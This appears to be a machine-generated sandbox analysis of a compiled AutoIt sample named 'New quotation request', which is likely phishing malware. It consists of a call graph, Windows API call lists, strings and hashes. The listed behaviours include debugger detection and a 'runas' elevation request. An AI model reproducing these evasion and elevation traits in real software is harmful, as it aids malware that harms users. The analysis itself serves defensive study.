102498->102514 102499->102514 102558 319e4a 89 API calls 4 library calls 102499->102558 102501 2b8d40 59 API calls 102501->102514 102503 2b9ea0 331 API calls 102503->102514 102505 319e4a 89 API calls 102505->102514 102511 2f3e25 102511->101494 102512 2bf195 102562 319e4a 89 API calls 4 library calls 102512->102562 102513 2bea78 102513->101494 102514->102498 102514->102501 102514->102503 102514->102505 102514->102512 102514->102513 102556 2b7f77 59 API calls 2 library calls 102514->102556 102559 306e8f 59 API calls 102514->102559 102560 32c5c3 331 API calls 102514->102560 102561 32b53c 331 API calls Mailbox 102514->102561 102563 2b9c90 59 API calls Mailbox 102514->102563 102564 3293c6 331 API calls Mailbox 102514->102564 102516 2bf4ba 102515->102516 102517 2bf650 102515->102517 102518 2f441e 102516->102518 102519 2bf4c6 102516->102519 102520 2b7de1 59 API calls 102517->102520 102659 32bc6b 331 API calls Mailbox 102518->102659 102657 2bf290 331 API calls 2 library calls 102519->102657 102526 2bf58c Mailbox 102520->102526 102523 2f442c 102527 2bf630 102523->102527 102660 319e4a 89 API calls 4 library calls 102523->102660 102525 2bf4fd 102525->102523 102525->102526 102525->102527 102530 2b4e4a 84 API calls 102526->102530 102565 313c37 102526->102565 102568 31cb7a 102526->102568 102648 32445a 102526->102648 102527->101494 102529 2bf5e3 102529->102527 102658 2b9c90 59 API calls Mailbox 102529->102658 102530->102529 102534->101494 102535->101494 102536->101494 102537->101433 102538->101439 102539->101494 102540->101441 102541->101441 102542->101441 102543->101494 102544->101494 102545->101494 102546->101494 102547->101494 102548->101494 102549->101489 102550->101489 102551->101489 102552->101489 102553->101489 102554->101489 102555->101489 102556->102514 102557->102514 102558->102514 102559->102514 102560->102514 102561->102514 102562->102511 102563->102514 102564->102514 102661 31445a GetFileAttributesW 102565->102661 102569 2b7667 59 API calls 102568->102569 102570 31cbaf 102569->102570 102571 2b7667 59 API calls 102570->102571 102572 31cbb8 102571->102572 102573 31cbcc 102572->102573 102774 2b9b3c 59 API calls 102572->102774 102575 2b9837 84 API calls 102573->102575 102576 31cbe9 102575->102576 102577 31cc0b 102576->102577 102578 31ccea 102576->102578 102584 31cd1a Mailbox 102576->102584 102579 2b9837 84 API calls 102577->102579 102580 2b4ddd 136 API calls 102578->102580 102582 31cc17 102579->102582 102581 31ccfe 102580->102581 102583 31cd16 102581->102583 102587 2b4ddd 136 API calls 102581->102587 102585 2b8047 59 API calls 102582->102585 102583->102584 102588 2b7667 59 API calls 102583->102588 102584->102529 102586 31cc23 102585->102586 102591 31cc37 102586->102591 102592 31cc69 102586->102592 102587->102583 102589 31cd4b 102588->102589 102590 2b7667 59 API calls 102589->102590 102593 31cd54 102590->102593 102594 2b8047 59 API calls 102591->102594 102595 2b9837 84 API calls 102592->102595 102596 2b7667 59 API calls 102593->102596 102597 31cc47 102594->102597 102598 31cc76 102595->102598 102599 31cd5d 102596->102599 102601 2b7cab 59 API calls 102597->102601 102602 2b8047 59 API calls 102598->102602 102600 2b7667 59 API calls 102599->102600 102603 31cd66 102600->102603 102604 31cc51 102601->102604 102605 31cc82 102602->102605 102607 2b9837 84 API calls 102603->102607 102608 2b9837 84 API calls 102604->102608 102775 314a31 GetFileAttributesW 102605->102775 102610 31cd73 102607->102610 102611 31cc5d 102608->102611 102609 31cc8b 102612 31cc9e 102609->102612 102615 2b79f2 59 API calls 102609->102615 102613 2b459b 59 API calls 102610->102613 102614 2b7b2e 59 API calls 102611->102614 102617 2b9837 84 API calls 102612->102617 102623 31cca4 102612->102623 102616 31cd8e 102613->102616 102614->102592 102615->102612 102618 2b79f2 59 API calls 102616->102618 102619 31cccb 102617->102619 102620 31cd9d 102618->102620 102776 3137ef 75 API calls Mailbox 102619->102776 102622 31cdd1 102620->102622 102625 2b79f2 59 API calls 102620->102625 102624 2b8047 59 API calls 102622->102624 102623->102584 102626 31cddf 102624->102626 102627 31cdae 102625->102627 102628 2b7b2e 59 API calls 102626->102628 102627->102622 102630 2b7bcc 59 API calls 102627->102630 102629 31cded 102628->102629 102631 2b7b2e 59 API calls 102629->102631 102632 31cdc3 102630->102632 102633 31cdfb 102631->102633 102634 2b7bcc 59 API calls 102632->102634 102635 2b7b2e 59 API calls 102633->102635 102634->102622 102636 31ce09 102635->102636 102637 2b9837 84 API calls 102636->102637 102638 31ce15 102637->102638 102665 314071 102638->102665 102640 31ce26 102641 313c37 3 API calls 102640->102641 102642 31ce30 102641->102642 102643 2b9837 84 API calls 102642->102643 102647 31ce61 102642->102647 102644 31ce4e 102643->102644 102719 319155 102644->102719 102646 2b4e4a 84 API calls 102646->102584 102647->102646 102649 2b9837 84 API calls 102648->102649 102650 324494 102649->102650 102651 2b6240 94 API calls 102650->102651 102652 3244a4 102651->102652 102653 3244c9 102652->102653 102654 2b9ea0 331 API calls 102652->102654 102656 3244cd 102653->102656 102817 2b9a98 59 API calls Mailbox 102653->102817 102654->102653 102656->102529 102657->102525 102658->102529 102659->102523 102660->102527 102662 313c3e 102661->102662 102663 314475 FindFirstFileW 102661->102663 102662->102529 102663->102662 102664 31448a FindClose 102663->102664 102664->102662 102666 31408d 102665->102666 102667 3140a0 102666->102667 102668 314092 102666->102668 102670 2b7667 59 API calls 102667->102670 102669 2b8047 59 API calls 102668->102669 102671 31409b Mailbox 102669->102671 102672 3140a8 102670->102672 102671->102640 102673 2b7667 59 API calls 102672->102673 102674 3140b0 102673->102674 102675 2b7667 59 API calls 102674->102675 102676 3140bb 102675->102676 102677 2b7667 59 API calls 102676->102677 102678 3140c3 102677->102678 102679 2b7667 59 API calls 102678->102679 102680 3140cb 102679->102680 102681 2b7667 59 API calls 102680->102681 102682 3140d3 102681->102682 102683 2b7667 59 API calls 102682->102683 102684 3140db 102683->102684 102685 2b7667 59 API calls 102684->102685 102686 3140e3 102685->102686 102687 2b459b 59 API calls 102686->102687 102688 3140fa 102687->102688 102689 2b459b 59 API calls 102688->102689 102690 314113 102689->102690 102691 2b79f2 59 API calls 102690->102691 102692 31411f 102691->102692 102693 314132 102692->102693 102694 2b7d2c 59 API calls 102692->102694 102695 2b79f2 59 API calls 102693->102695 102694->102693 102696 31413b 102695->102696 102697 31414b 102696->102697 102698 2b7d2c 59 API calls 102696->102698 102699 2b8047 59 API calls 102697->102699 102698->102697 102700 314157 102699->102700 102701 2b7b2e 59 API calls 102700->102701 102702 314163 102701->102702 102777 314223 59 API calls 102702->102777 102704 314172 102778 314223 59 API calls 102704->102778 102720 319162 __ftell_nolock 102719->102720 102721 2d0db6 Mailbox 59 API calls 102720->102721 102722 3191bf 102721->102722 102723 2b522e 59 API calls 102722->102723 102724 3191c9 102723->102724 102725 318f5f GetSystemTimeAsFileTime 102724->102725 102726 3191d4 102725->102726 102727 2b4ee5 85 API calls 102726->102727 102728 3191e7 _wcscmp 102727->102728 102729 3192b8 102728->102729 102730 31920b 102728->102730 102731 319734 96 API calls 102729->102731 102732 319734 96 API calls 102730->102732 102747 319284 _wcscat 102731->102747 102733 319210 102732->102733 102736 3192c1 102733->102736 102796 2d40fb 58 API calls __wsplitpath_helper 102733->102796 102735 2b4f0b 74 API calls 102737 3192dd 102735->102737 102736->102647 102738 2b4f0b 74 API calls 102737->102738 102740 3192ed 102738->102740 102739 319239 _wcscat _wcscpy 102797 2d40fb 58 API calls __wsplitpath_helper 102739->102797 102741 2b4f0b 74 API calls 102740->102741 102743 319308 102741->102743 102744 2b4f0b 74 API calls 102743->102744 102745 319318 102744->102745 102746 2b4f0b 74 API calls 102745->102746 102748 319333 102746->102748 102747->102735 102747->102736 102749 2b4f0b 74 API calls 102748->102749 102750 319343 102749->102750 102751 2b4f0b 74 API calls 102750->102751 102774->102573 102775->102609 102776->102623 102777->102704 102796->102739 102797->102747 102817->102656 102818 318d0d 102819 318d1a 102818->102819 102822 318d20 102818->102822 102820 2d2d55 _free 58 API calls 102819->102820 102820->102822 102821 318d31 102824 318d43 102821->102824 102825 2d2d55 _free 58 API calls 102821->102825 102822->102821 102823 2d2d55 _free 58 API calls 102822->102823 102823->102821 102825->102824 102826 2b1016 102831 2b4974 102826->102831 102829 2d2d40 __cinit 67 API calls 102830 2b1025 102829->102830 102832 2d0db6 Mailbox 59 API calls 102831->102832 102833 2b497c 102832->102833 102834 2b101b 102833->102834 102838 2b4936 102833->102838 102834->102829 102839 2b493f 102838->102839 102840 2b4951 102838->102840 102841 2d2d40 __cinit 67 API calls 102839->102841 102842 2b49a0 102840->102842 102841->102840 102843 2b7667 59 API calls 102842->102843 102844 2b49b8 GetVersionExW 102843->102844 102845 2b7bcc 59 API calls 102844->102845 102846 2b49fb 102845->102846 102847 2b7d2c 59 API calls 102846->102847 102850 2b4a28 102846->102850 102848 2b4a1c 102847->102848 102849 2b7726 59 API calls 102848->102849 102849->102850 102851 2ed864 102850->102851 102852 2b4a93 GetCurrentProcess IsWow64Process 102850->102852 102853 2b4aac 102852->102853 102854 2b4b2b GetSystemInfo 102853->102854 102855 2b4ac2 102853->102855 102857 2b4af8 102854->102857 102866 2b4b37 102855->102866 102857->102834 102859 2b4b1f GetSystemInfo 102862 2b4ae9 102859->102862 102860 2b4ad4 102861 2b4b37 2 API calls 102860->102861 102863 2b4adc GetNativeSystemInfo 102861->102863 102862->102857 102864 2b4aef FreeLibrary 102862->102864 102863->102862 102864->102857 102867 2b4ad0 102866->102867 102868 2b4b40 LoadLibraryA 102866->102868 102867->102859 102867->102860 102868->102867 102869 2b4b51 GetProcAddress 102868->102869 102869->102867 102870 2b1066 102875 2bf76f 102870->102875 102872 2b106c 102873 2d2d40 __cinit 67 API calls 102872->102873 102874 2b1076 102873->102874 102876 2bf790 102875->102876 102908 2cff03 102876->102908 102880 2bf7d7 102881 2b7667 59 API calls 102880->102881 102882 2bf7e1 102881->102882 102883 2b7667 59 API calls 102882->102883 102884 2bf7eb 102883->102884 102885 2b7667 59 API calls 102884->102885 102886 2bf7f5 102885->102886 102887 2b7667 59 API calls 102886->102887 102888 2bf833 102887->102888 102889 2b7667 59 API calls 102888->102889 102890 2bf8fe 102889->102890 102918 2c5f87 102890->102918 102894 2bf930 102895 2b7667 59 API calls 102894->102895 102896 2bf93a 102895->102896 102946 2cfd9e 102896->102946 102898 2bf981 102899 2bf991 GetStdHandle 102898->102899 102900 2f45ab 102899->102900 102901 2bf9dd 102899->102901 102900->102901 102902 2f45b4 102900->102902 102903 2bf9e5 OleInitialize 102901->102903 102953 316b38 64 API calls Mailbox 102902->102953 102903->102872 102905 2f45bb 102954 317207 CreateThread 102905->102954 102907 2f45c7 CloseHandle 102907->102903 102955 2cffdc 102908->102955 102911 2cffdc 59 API calls 102912 2cff45 102911->102912 102913 2b7667 59 API calls 102912->102913 102914 2cff51 102913->102914 102915 2b7bcc 59 API calls 102914->102915 102916 2bf796 102915->102916 102917 2d0162 6 API calls 102916->102917 102917->102880 102919 2b7667 59 API calls 102918->102919 102920 2c5f97 102919->102920 102921 2b7667 59 API calls 102920->102921 102922 2c5f9f 102921->102922 102962 2c5a9d 102922->102962 102925 2c5a9d 59 API calls 102926 2c5faf 102925->102926 102927 2b7667 59 API calls 102926->102927 102928 2c5fba 102927->102928 102929 2d0db6 Mailbox 59 API calls 102928->102929 102930 2bf908 102929->102930 102931 2c60f9 102930->102931 102932 2c6107 102931->102932 102933 2b7667 59 API calls 102932->102933 102934 2c6112 102933->102934 102935 2b7667 59 API calls 102934->102935 102936 2c611d 102935->102936 102937 2b7667 59 API calls 102936->102937 102938 2c6128 102937->102938 102939 2b7667 59 API calls 102938->102939 102940 2c6133 102939->102940 102941 2c5a9d 59 API calls 102940->102941 102942 2c613e 102941->102942 102943 2d0db6 Mailbox 59 API calls 102942->102943 102944 2c6145 RegisterWindowMessageW 102943->102944 102944->102894 102947 2cfdae 102946->102947 102948 30576f 102946->102948 102949 2d0db6 Mailbox 59 API calls 102947->102949 102965 319ae7 60 API calls 102948->102965 102951 2cfdb6 102949->102951 102951->102898 102952 30577a 102953->102905 102954->102907 102966 3171ed 65 API calls 102954->102966 102956 2b7667 59 API calls 102955->102956 102957 2cffe7 102956->102957 102958 2b7667 59 API calls 102957->102958 102959 2cffef 102958->102959 102960 2b7667 59 API calls 102959->102960 102961 2cff3b 102960->102961 102961->102911 102963 2b7667 59 API calls 102962->102963 102964 2c5aa5 102963->102964 102964->102925 102965->102952 102967 2b1055 102972 2b2649 102967->102972 102970 2d2d40 __cinit 67 API calls 102971 2b1064 102970->102971 102973 2b7667 59 API calls 102972->102973 102974 2b26b7 102973->102974 102979 2b3582 102974->102979 102976 2b2754 102978 2b105a 102976->102978 102982 2b3416 59 API calls 2 library calls 102976->102982 102978->102970 102983 2b35b0 102979->102983 102982->102976 102984 2b35a1 102983->102984 102985 2b35bd 102983->102985 102984->102976 102985->102984 102986 2b35c4 RegOpenKeyExW 102985->102986 102986->102984 102987 2b35de RegQueryValueExW 102986->102987 102988 2b3614 RegCloseKey 102987->102988 102989 2b35ff 102987->102989 102988->102984 102989->102988

                                                                    Executed Functions

                                                                    Function 002B3B3A Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 153windowCOMMON
                                                                    Download Yara Rule

                                                                    Control-flow Graph

                                                                    APIs
                                                                    • GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 002B3B68
                                                                    • IsDebuggerPresent.KERNEL32 ref: 002B3B7A
                                                                    • GetFullPathNameW.KERNEL32(00007FFF,?,?,003752F8,003752E0,?,?), ref: 002B3BEB
                                                                      • Part of subcall function 002B7BCC: _memmove.LIBCMT ref: 002B7C06
                                                                      • Part of subcall function 002C092D: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,002B3C14,003752F8,?,?,?), ref: 002C096E
                                                                    • SetCurrentDirectoryW.KERNEL32(?), ref: 002B3C6F
                                                                    • MessageBoxA.USER32(00000000,This is a third-party compiled AutoIt script.,00367770,00000010), ref: 002ED281
                                                                    • SetCurrentDirectoryW.KERNEL32(?,003752F8,?,?,?), ref: 002ED2B9
                                                                    • GetForegroundWindow.USER32(runas,?,?,?,00000001,?,00364260,003752F8,?,?,?), ref: 002ED33F
                                                                    • ShellExecuteW.SHELL32(00000000,?,?), ref: 002ED346
                                                                      • Part of subcall function 002B3A46: GetSysColorBrush.USER32(0000000F), ref: 002B3A50
                                                                      • Part of subcall function 002B3A46: LoadCursorW.USER32(00000000,00007F00), ref: 002B3A5F
                                                                      • Part of subcall function 002B3A46: LoadIconW.USER32(00000063), ref: 002B3A76
                                                                      • Part of subcall function 002B3A46: LoadIconW.USER32(000000A4), ref: 002B3A88
                                                                      • Part of subcall function 002B3A46: LoadIconW.USER32(000000A2), ref: 002B3A9A
                                                                      • Part of subcall function 002B3A46: LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 002B3AC0
                                                                      • Part of subcall function 002B3A46: RegisterClassExW.USER32(?), ref: 002B3B16
                                                                      • Part of subcall function 002B39D5: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 002B3A03
                                                                      • Part of subcall function 002B39D5: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 002B3A24
                                                                      • Part of subcall function 002B39D5: ShowWindow.USER32(00000000,?,?), ref: 002B3A38
                                                                      • Part of subcall function 002B39D5: ShowWindow.USER32(00000000,?,?), ref: 002B3A41
                                                                      • Part of subcall function 002B434A: _memset.LIBCMT ref: 002B4370
                                                                      • Part of subcall function 002B434A: Shell_NotifyIconW.SHELL32(00000000,?), ref: 002B4415
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: LoadWindow$Icon$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__memmove_memset
                                                                    • String ID: This is a third-party compiled AutoIt script.$runas$%4
                                                                    • API String ID: 529118366-2314548288
                                                                    • Opcode ID: ad1b51032b9b6b9f21b1e5aa88762a417b2746cae902473b0c375d2e82e7bc78
                                                                    • Instruction ID: 0f3a10483a9a77b48c249b6e3aea5cede4d94cb8b4a80102e02507ccaad3a276
                                                                    • Opcode Fuzzy Hash: ad1b51032b9b6b9f21b1e5aa88762a417b2746cae902473b0c375d2e82e7bc78
                                                                    • Instruction Fuzzy Hash: 69512630D24249AEDB26EBF4DC45EED7B78AF44790F40846AF415B21A3CAB05661CF20
                                                                    Function 002B49A0 Relevance: 10.7, APIs: 7, Instructions: 223COMMON
                                                                    Download Yara Rule

                                                                    Control-flow Graph

                                                                    • Executed
                                                                    • Not Executed
                                                                    control_flow_graph 1037 2b49a0-2b4a00 call 2b7667 GetVersionExW call 2b7bcc 1042 2b4b0b-2b4b0d 1037->1042 1043 2b4a06 1037->1043 1045 2ed767-2ed773 1042->1045 1044 2b4a09-2b4a0e 1043->1044 1047 2b4b12-2b4b13 1044->1047 1048 2b4a14 1044->1048 1046 2ed774-2ed778 1045->1046 1049 2ed77a 1046->1049 1050 2ed77b-2ed787 1046->1050 1051 2b4a15-2b4a4c call 2b7d2c call 2b7726 1047->1051 1048->1051 1049->1050 1050->1046 1052 2ed789-2ed78e 1050->1052 1060 2b4a52-2b4a53 1051->1060 1061 2ed864-2ed867 1051->1061 1052->1044 1054 2ed794-2ed79b 1052->1054 1054->1045 1056 2ed79d 1054->1056 1059 2ed7a2-2ed7a5 1056->1059 1062 2ed7ab-2ed7c9 1059->1062 1063 2b4a93-2b4aaa GetCurrentProcess IsWow64Process 1059->1063 1060->1059 1064 2b4a59-2b4a64 1060->1064 1065 2ed869 1061->1065 1066 2ed880-2ed884 1061->1066 1062->1063 1067 2ed7cf-2ed7d5 1062->1067 1073 2b4aaf-2b4ac0 1063->1073 1074 2b4aac 1063->1074 1068 2b4a6a-2b4a6c 1064->1068 1069 2ed7ea-2ed7f0 1064->1069 1070 2ed86c 1065->1070 1071 2ed86f-2ed878 1066->1071 1072 2ed886-2ed88f 1066->1072 1077 2ed7df-2ed7e5 1067->1077 1078 2ed7d7-2ed7da 1067->1078 1079 2b4a72-2b4a75 1068->1079 1080 2ed805-2ed811 1068->1080 1081 2ed7fa-2ed800 1069->1081 1082 2ed7f2-2ed7f5 1069->1082 1070->1071 1071->1066 1072->1070 1083 2ed891-2ed894 1072->1083 1075 2b4b2b-2b4b35 GetSystemInfo 1073->1075 1076 2b4ac2-2b4ad2 call 2b4b37 1073->1076 1074->1073 1089 2b4af8-2b4b08 1075->1089 1094 2b4b1f-2b4b29 GetSystemInfo 1076->1094 1095 2b4ad4-2b4ae1 call 2b4b37 1076->1095 1077->1063 1078->1063 1087 2b4a7b-2b4a8a 1079->1087 1088 2ed831-2ed834 1079->1088 1084 2ed81b-2ed821 1080->1084 1085 2ed813-2ed816 1080->1085 1081->1063 1082->1063 1083->1071 1084->1063 1085->1063 1092 2ed826-2ed82c 1087->1092 1093 2b4a90 1087->1093 1088->1063 1091 2ed83a-2ed84f 1088->1091 1096 2ed859-2ed85f 1091->1096 1097 2ed851-2ed854 1091->1097 1092->1063 1093->1063 1099 2b4ae9-2b4aed 1094->1099 1102 2b4b18-2b4b1d 1095->1102 1103 2b4ae3-2b4ae7 GetNativeSystemInfo 1095->1103 1096->1063 1097->1063 1099->1089 1101 2b4aef-2b4af2 FreeLibrary 1099->1101 1101->1089 1102->1103 1103->1099
                                                                    APIs
                                                                    • GetVersionExW.KERNEL32(?), ref: 002B49CD
                                                                      • Part of subcall function 002B7BCC: _memmove.LIBCMT ref: 002B7C06
                                                                    • GetCurrentProcess.KERNEL32(?,0033FAEC,00000000,00000000,?), ref: 002B4A9A
                                                                    • IsWow64Process.KERNEL32(00000000), ref: 002B4AA1
                                                                    • GetNativeSystemInfo.KERNELBASE(00000000), ref: 002B4AE7
                                                                    • FreeLibrary.KERNEL32(00000000), ref: 002B4AF2
                                                                    • GetSystemInfo.KERNEL32(00000000), ref: 002B4B23
                                                                    • GetSystemInfo.KERNEL32(00000000), ref: 002B4B2F
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: InfoSystem$Process$CurrentFreeLibraryNativeVersionWow64_memmove
                                                                    • String ID:
                                                                    • API String ID: 1986165174-0
                                                                    • Opcode ID: d02a324e1006189ef5e8c140a54c966e76bc7ec09489c90f8165889b17f71321
                                                                    • Instruction ID: 1689bed930726c78d2fb648f1989527f3f08d04c35d3655235da23899e1b118c
                                                                    • Opcode Fuzzy Hash: d02a324e1006189ef5e8c140a54c966e76bc7ec09489c90f8165889b17f71321
                                                                    • Instruction Fuzzy Hash: 1091E6319A97C1DEC731EF7884A01EAFFF5AF2A340F84496DD0C793A42D260A558C759
                                                                    Function 002B4E89 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62COMMON
                                                                    Download Yara Rule

                                                                    Control-flow Graph

                                                                    • Executed
                                                                    • Not Executed
                                                                    control_flow_graph 1104 2b4e89-2b4ea1 CreateStreamOnHGlobal 1105 2b4ea3-2b4eba FindResourceExW 1104->1105 1106 2b4ec1-2b4ec6 1104->1106 1107 2b4ec0 1105->1107 1108 2ed933-2ed942 LoadResource 1105->1108 1107->1106 1108->1107 1109 2ed948-2ed956 SizeofResource 1108->1109 1109->1107 1110 2ed95c-2ed967 LockResource 1109->1110 1110->1107 1111 2ed96d-2ed98b 1110->1111 1111->1107
                                                                    APIs
                                                                    • CreateStreamOnHGlobal.COMBASE(00000000,00000001,?,?,?,?,?,002B4D8E,?,?,00000000,00000000), ref: 002B4E99
                                                                    • FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,002B4D8E,?,?,00000000,00000000), ref: 002B4EB0
                                                                    • LoadResource.KERNEL32(?,00000000,?,?,002B4D8E,?,?,00000000,00000000,?,?,?,?,?,?,002B4E2F), ref: 002ED937
                                                                    • SizeofResource.KERNEL32(?,00000000,?,?,002B4D8E,?,?,00000000,00000000,?,?,?,?,?,?,002B4E2F), ref: 002ED94C
                                                                    • LockResource.KERNEL32(002B4D8E,?,?,002B4D8E,?,?,00000000,00000000,?,?,?,?,?,?,002B4E2F,00000000), ref: 002ED95F
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Resource$CreateFindGlobalLoadLockSizeofStream
                                                                    • String ID: SCRIPT
                                                                    • API String ID: 3051347437-3967369404
                                                                    • Opcode ID: a5bf058c34571d6897eac299457281e9553ae4e40e50abaee8b9e804f6a69540
                                                                    • Instruction ID: 0122625653d9f12f19ed78953aeae387fbadcc16485c543c263e41697b1fee76
                                                                    • Opcode Fuzzy Hash: a5bf058c34571d6897eac299457281e9553ae4e40e50abaee8b9e804f6a69540
                                                                    • Instruction Fuzzy Hash: 23119A74640701BFE7229F65EC88FA77BBEFBC5B51F204668F406C6261DB61E8008A60
                                                                    Function 0031445A Relevance: 4.5, APIs: 3, Instructions: 25fileCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetFileAttributesW.KERNELBASE(?,002EE398), ref: 0031446A
                                                                    • FindFirstFileW.KERNELBASE(?,?), ref: 0031447B
                                                                    • FindClose.KERNEL32(00000000), ref: 0031448B
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: FileFind$AttributesCloseFirst
                                                                    • String ID:
                                                                    • API String ID: 48322524-0
                                                                    • Opcode ID: 6d46eaac7fc394f5b2a0ac1588b0aa2b76d3b85ff0097177a545c6bc0a9c90a3
                                                                    • Instruction ID: 75b03522e5544ac8c6c3e17c03dca0b386747db0d81010b6ae32078d93fd7214
                                                                    • Opcode Fuzzy Hash: 6d46eaac7fc394f5b2a0ac1588b0aa2b76d3b85ff0097177a545c6bc0a9c90a3
                                                                    • Instruction Fuzzy Hash: DDE0D837814501AB82156B38EC4D8EA775C9F09335F500B15F835C20E0EB74994096D5
                                                                    Function 002C09D0 Relevance: 64.3, APIs: 27, Strings: 9, Instructions: 1300windowsleeptimeCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 002C0A5B
                                                                    • timeGetTime.WINMM ref: 002C0D16
                                                                    • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 002C0E53
                                                                    • Sleep.KERNEL32(0000000A), ref: 002C0E61
                                                                    • LockWindowUpdate.USER32(00000000,?,?), ref: 002C0EFA
                                                                    • DestroyWindow.USER32 ref: 002C0F06
                                                                    • GetMessageW.USER32(?,00000000,00000000,00000000), ref: 002C0F20
                                                                    • Sleep.KERNEL32(0000000A,?,?), ref: 002F4E83
                                                                    • TranslateMessage.USER32(?), ref: 002F5C60
                                                                    • DispatchMessageW.USER32(?), ref: 002F5C6E
                                                                    • GetMessageW.USER32(?,00000000,00000000,00000000), ref: 002F5C82
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Message$PeekSleepWindow$DestroyDispatchLockTimeTranslateUpdatetime
                                                                    • String ID: @COM_EVENTOBJ$@GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE$@TRAY_ID$pb7$pb7$pb7$pb7
                                                                    • API String ID: 4212290369-647323737
                                                                    • Opcode ID: 84cfafd25732b9c2ef2abdf8c426264692e0a6aa9babff4d7d08d5efc84c743e
                                                                    • Instruction ID: f70a0babb62a0a0dbfc8290073ff8c1bab0ff70a51fb034f4ff83a2efe45cf3c
                                                                    • Opcode Fuzzy Hash: 84cfafd25732b9c2ef2abdf8c426264692e0a6aa9babff4d7d08d5efc84c743e
                                                                    • Instruction Fuzzy Hash: 34B2D570624746DFD729DF24C885FAAF7E4BF84344F144A2DE659872A1C770E8A4CB82
